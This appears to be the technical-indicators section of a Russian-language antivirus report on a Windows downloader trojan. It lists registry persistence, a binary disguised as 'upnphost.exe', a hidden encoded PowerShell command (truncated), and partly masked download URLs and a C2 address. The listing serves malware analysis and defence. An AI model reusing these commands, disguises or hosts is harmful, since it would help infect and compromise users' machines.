Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\EFS] 'Start' = '00000002'
- 'upnphost' "%WINDIR%\SysWOW64\xactengine3_7\upnphost.exe"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD cwBFAHQALQBJAHQARQBNACAAdgBhAHIASQBBAEIATABlADoATgA1ADkATwBtACAAIAAoACAAWwB0AFkAcABFAF0AKAAiAHsAMQB9AHsANAB9AHsAMAB9AHsAMgB9AHsAMwB9AHsANQB9ACIALQBGACAAJwBtAC4ASQAnACwAJw...
- %HOMEPATH%\d8c98nn\oss08b_\t14e00.exe
- %WINDIR%\syswow64\xactengine3_7\upnphost.exe
- %HOMEPATH%\d8c98nn\oss08b_\t14e00.exe в %WINDIR%\syswow64\xactengine3_7\upnphost.exe
- '80.##7.52.78':80
- http://na###tecook.org/wp-admin/x/
- http://sc#####onitoring.com/wp-admin/js/widgets/S0A/
- http://80.##7.52.78/bYJZd/eenxpoQqYVUMc7pE/6c7GO2bObZFH6kGW/sp2boWFLZaezWKY/
- DNS ASK na###tecook.org
- DNS ASK sc#####onitoring.com
- '%HOMEPATH%\d8c98nn\oss08b_\t14e00.exe'
- '%WINDIR%\syswow64\xactengine3_7\upnphost.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD cwBFAHQALQBJAHQARQBNACAAdgBhAHIASQBBAEIATABlADoATgA1ADkATwBtACAAIAAoACAAWwB0AFkAcABFAF0AKAAiAHsAMQB9AHsANAB9AHsAMAB9AHsAMgB9AHsAMwB9AHsANQB9ACIALQBGACAAJwBtAC4ASQAnACwAJw...' (со скрытым окном)